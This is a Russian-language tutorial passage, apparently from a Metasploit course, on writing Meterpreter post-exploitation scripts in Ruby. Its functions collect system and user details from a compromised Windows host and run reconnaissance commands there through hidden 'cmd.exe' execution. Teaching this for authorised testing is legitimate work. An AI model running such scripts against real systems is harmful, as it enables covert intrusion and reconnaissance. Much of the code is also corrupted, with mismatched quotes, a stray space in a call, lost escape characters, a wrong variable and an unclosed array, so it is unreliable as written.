Пользовательские сценарии.

Теперь когда мы попробовали использовать irb для тестирования API вызовов, давайте посмотрим какие объекты возвращаются при использовании основных конструкций.
Первый сценарий, не был бы первым, без стандартного “Helo World”, так что давайте создадим этот сценарий, назовем его "helloworld.rb" и сохраним в / pentest/exploits/framework3/scripts/meterpreter.

root@bt4:~# echo “print_status(“Hello World”)” > /pentest/exploits/framework3/scripts/meterpreter/helloworld.rb

Теперь запустим наш скрипт в консоли, используя следующую команду:

meterpreter > run helloworld
[*] Hello World
meterpreter >

Расширим скрипт и добавим несколько других API вызовов:

print_error(“this is an error!)
print_line(“this is a line”)

Стандартный вывод и вывод ошибки служат для вывода информации по работе скрипта, пользователю, запустившему сценарий.
Теперь, когда мы запустим сценарий, мы увидим:

meterpreter > run helloworld
[*] Hello World
[-] this is an error!
this is a line
meterpreter >

Последние изменения в helloworld.rb:

print_status("Hello World")
print_error("this is an error!")
print_line("This is a line")

Отлично! Пойдем немного дальше и создадим функцию вывода системной информации и добавим обработку и вывод ошибок в файл. Эта функция будет иметь следующий вид:

def geninfo(session)
    begin
    …..
    rescue ::Exception => e
    …..
    end
 end

Использование функций позволяет сделать код модульным и облегчает дальнейшее использование этого кода. Обработка ошибок поможет в устранении «неполадок» в работе скрипта, так что используя некоторые вызовы API, которые мы рассмотрели выше, построим функцию, которая будет выглядеть следующим образом:

def getinfo(session)
    begin
       sysnfo = session.sys.config.sysinfo
       runpriv = session.sys.config.getuid
       print_status("Getting system information ...")
       print_status("tThe target machine OS is #{sysnfo['OS']}")
       print_status("tThe computer name is #{'Computer'} ")
       print_status("tScript running as #{runpriv}")
    rescue ::Exception => e
       print_error("The following error was encountered #{e}")
    end
 end

Давайте разберем, что мы сделали. Мы определили функцию getinfo, которая принимает один аргумент, в качестве которого выступает локальная переменная с именем 'session'. Этой переменной присваивается системная и пользовательская информация, после чего происходит вывод этой информации на экран. У нас так-же есть обработчик ошибок, чтобы вывести информацию об ошибке с которой можно столкнуться в процессе выполнения сценария.
Теперь при вызове функции, ей нужно передать клиентскую Meterpreter сессию. Чтобы вызвать ее, мы поместим следующую строку в конец нашего сценария.

getinfo(client)

Выполним сценарий и посмотрим на результат вывода.

meterpreter > run helloworld2
 [*] Getting system information ...
 [*]     The target machine OS is Windows XP (Build 2600, Service Pack 3).
 [*]     The computer name is Computer
 [*]     Script running as WINXPVM01labuser

В итоге сценарий helloworld2.rb принял вид:

def getinfo(session)
    begin
       sysnfo = session.sys.config.sysinfo
       runpriv = session.sys.config.getuid
       print_status("Getting system information ...")
       print_status("tThe target machine OS is #{sysnfo['OS']}")
       print _status("tThe computer name is #{'Computer'} ")
       print_status("tScript running as #{runpriv}")
 rescue ::Exception => e
       print_error("The following error was encountered #{e}")
    end
 end
 
 
 getinfo(client)

Как видим эти простые шаги дали нам основу по написанию сценариев для Meterpreter. Переделаем этот скрипт для сбора дополнительной информации о нашей цели. Давайте создадим другую функцию выполнения необходимых команд и вывода информации по отработки этих команд.

def list_exec(session,cmdlst)
    print_status("Running Command List ...")
    r=''
    session.response_timeout=120
    cmdlst.each do |cmd|
       begin
          print_status "trunning command #{cmd}"
          r = session.sys.process.execute(“cmd.exe /c #{cmd}”, nil, {'Hidden' => true, 'Channelized' => true})
          while(d = r.channel.read)
 
             print_status("t#{d}")
          end
          r.channel.close
          r.close
       rescue ::Exception => e
          print_error("Error Running Command #{cmd}: #{e.class} #{e}")
       end
    end
 end

Мы определяем функцию, которая принимает два аргумента, второй из которых будет массивом. Так же установлен таймаут, не позволяющий «подвесить» выполнение функции. Далее следует цикл, который заполняет массив с выводом информации на экран, которая извлекается в системе через 'cmd.exe /c'. Потом уже идет обработчик ошибок во время выполнения функции.
Сейчас мы зададим массив из команд для извлечения сетевой информации на удаленном хосте:

commands = [ “set”,
    “ipconfig  /all”,
    “arp –a”

А затем вызовем его с помощью комманды:

list_exec(client,commands)

Сложив все вместе и запустив, мы получим результат:

meterpreter > run helloworld3
 [*] Running Command List ...
 [*]     running command set
 [*]     ALLUSERSPROFILE=C:\Documents and Settings\All Users
 APPDATA=C:\Documents and Settings\P0WN3D\Application Data
 CommonProgramFiles=C:\Program Files\Common Files
 COMPUTERNAME=TARGET
 ComSpec=C:\WINNT\system32\cmd.exe
 HOMEDRIVE=C:
 HOMEPATH=
 LOGONSERVER=TARGET
 NUMBER_OF_PROCESSORS=1
 OS=Windows_NT
 Os2LibPath=C:\WINNT\system32\os2dll;
 Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem
 PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH